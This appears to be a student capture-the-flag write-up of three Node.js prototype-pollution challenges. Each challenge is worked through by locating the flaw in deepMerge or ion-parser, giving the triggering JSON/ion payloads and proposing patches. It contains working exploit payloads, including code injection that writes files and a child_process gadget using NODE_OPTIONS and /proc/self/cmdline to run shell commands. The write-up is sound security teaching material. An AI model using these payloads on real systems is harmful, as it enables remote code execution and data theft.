proj3: PPFU

Challenge 1: babyproto1

- locate the vulnerability
  - The vulnerability happens when this merging happens. If we change the key name to “__proto__”, the following key and value pair will be injected to the prototype, achieving prototype pollution.

```
/**
 * merge (target, source)
 *
 * foreach property of source
 * if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property
 *
 * @param {*} target
 * @param {*} source
 * @returns
 */
function deepMerge(target, source) {
    let output = Object.assign({}, target);
    if (isObject(target) && isObject(source)) {
        for (let key in source){
            if(source.hasOwnProperty(key)){
                if(isObject(source[key])){
                    deepMerge(target[key], source[key])
                }else{
                    target[key] = source[key]
                }
            }
        }
    }
    return output;
}
```

  - The gadget is very straightforward. If the prototype.flag has been polluted, we can see the flag.

```
/**
 * Get the flag
 */
app.get('/flag', (req, res) => {
    if(Object.prototype.flag === 'polluted'){
        fs.readFile('./flag', 'utf8', (err, flag) => {
            if (err) {
              res.send('Did you delete the flag?')
            }
            res.send(flag)
          });
    }else{
        res.send('Nice Try!')
    }
})
```

- how to trigger it
  - Put “__proto__" into ClassName, “flag” into customized key, and “polluted” into customized value.

```
{
  "__proto__": {
    "name": "name",
    "AQ": "1",
    "latitude": "1",
    "longitude": "1",
    "flag": "polluted"
  }
}
```

- how to patch
  - check for keywords related to prototype pollution in deepMerge

```
function deepMerge(target, source) {
    let output = Object.assign({}, target);
    if (isObject(target) && isObject(source)) {
        // Remove the __proto__ property from the source object
        if ("__proto__" in source){
            delete source["__proto__"]
        }
        if ("prototype" in source){
            delete source["prototype"]
        }
        if ("constructor" in source){
            delete source["constructor"]
        }
        if ("hasOwnProperty" in source){
            delete source["hasOwnProperty"]
        }
        if ("propertyIsEnumerable" in source){
            delete source["propertyIsEnumerable"]
        }
        for (let key in source){
            if(source.hasOwnProperty(key)){
                if(isObject(source[key])){
                    deepMerge(target[key], source[key])
                }else{
                    target[key] = source[key]
                }
            }
        }
    }
    return output;
}
```

Challenge 2: toddlerproto2

- locate the vulnerability
  - For this challenge, the prototype pollution vulnerability also happens in the deepMerge function.
  - In order to get the flag, we need to write to a file.

```
/**
 * Can you touch a file on the server?
 */
app.get('/flag', (req, res) => {
    if(fs.existsSync('touch.txt')){
        fs.readFile('./flag', 'utf8', (err, flag) => {
            if (err) {
              res.send('Did you delete the flag?')
            }
            res.send(flag)
          });
    }else{
        res.send('Nice Try!')
    }
})
```

  - We need to find a way to write to the file through RCE, as what's given in the hint, we can use defaultFilter since it is called every time we refresh the page and get contents from database.
  - The code for writing a file require "fs", so we also need to find a way to import the package. We can use global.process.mainModule.require.
- how to trigger it

- Put “__proto__" into ClassName, “defaultFilter” into customized key, and “e')); let fs = global.process.mainModule.require('fs'); fs.writeFileSync('touch.txt',\"RCE\"); //” into customized value.

```
{
  "__proto__": {
    "name": "123",
    "AQ": "123",
    "latitude": "213",
    "longitude": "123",
    "defaultFilter": "e')); let fs = global.process.mainModule.require('fs'); fs.writeFileSync('touch.txt',\"RCE\"); //"
  }
}
```

- how to patch
  - Same as challenge 1.

Challenge 3: my-sis-system

- locate the vulnerability
  - Ion parser is used over here.

```
const userData = ion.parse(req.body);
```

  - Looking into the code of ion parser, we can see it doesn’t prevent us to change [__proto__], which means we can do prototype pollution by adding additional request body.
  - We can manipulate request body using Burp Suite.
  - In order to show the flag in the client side, we put the content in flag into the empty.html page.
- how to trigger it
  - add this at the end of request in burp suite, and go to /empty to see the flag.

```
[__proto__]
argv0 = "require('child_process').exec('cat ./flag.txt > ./public/pages/empty.html')//"
shell = "/proc/self/exe"
NODE_OPTIONS = "--require /proc/self/cmdline"
```

- how to patch
  - approach 1: still use ion-parser but use Object.freeze to freeze the prototype
  - approach 2: avoid using ion-parser

```
try{
      // approch 1: use ion-parser
      Object.freeze(Object.getPrototypeOf({}));
      const userData = ion.parse(req.body);

      // approch 2: avoid using ion-parser
      // const userData = {user: {name: req.body.name, password: req.body.password}};

      if (userData.user.name == "admin" && userData.user.password == "dksjhf2798y8372ghkjfgsd8tg823gkjbfsig7g2gkfjsh"){
        res.send('Nice Try??')
      } else{
        res.send(`${userData.user.password} is the incorrect password for ${userData.user.name}`);
      }
      var proc = require("child_process").spawn('sleep', ['10']);
    }
```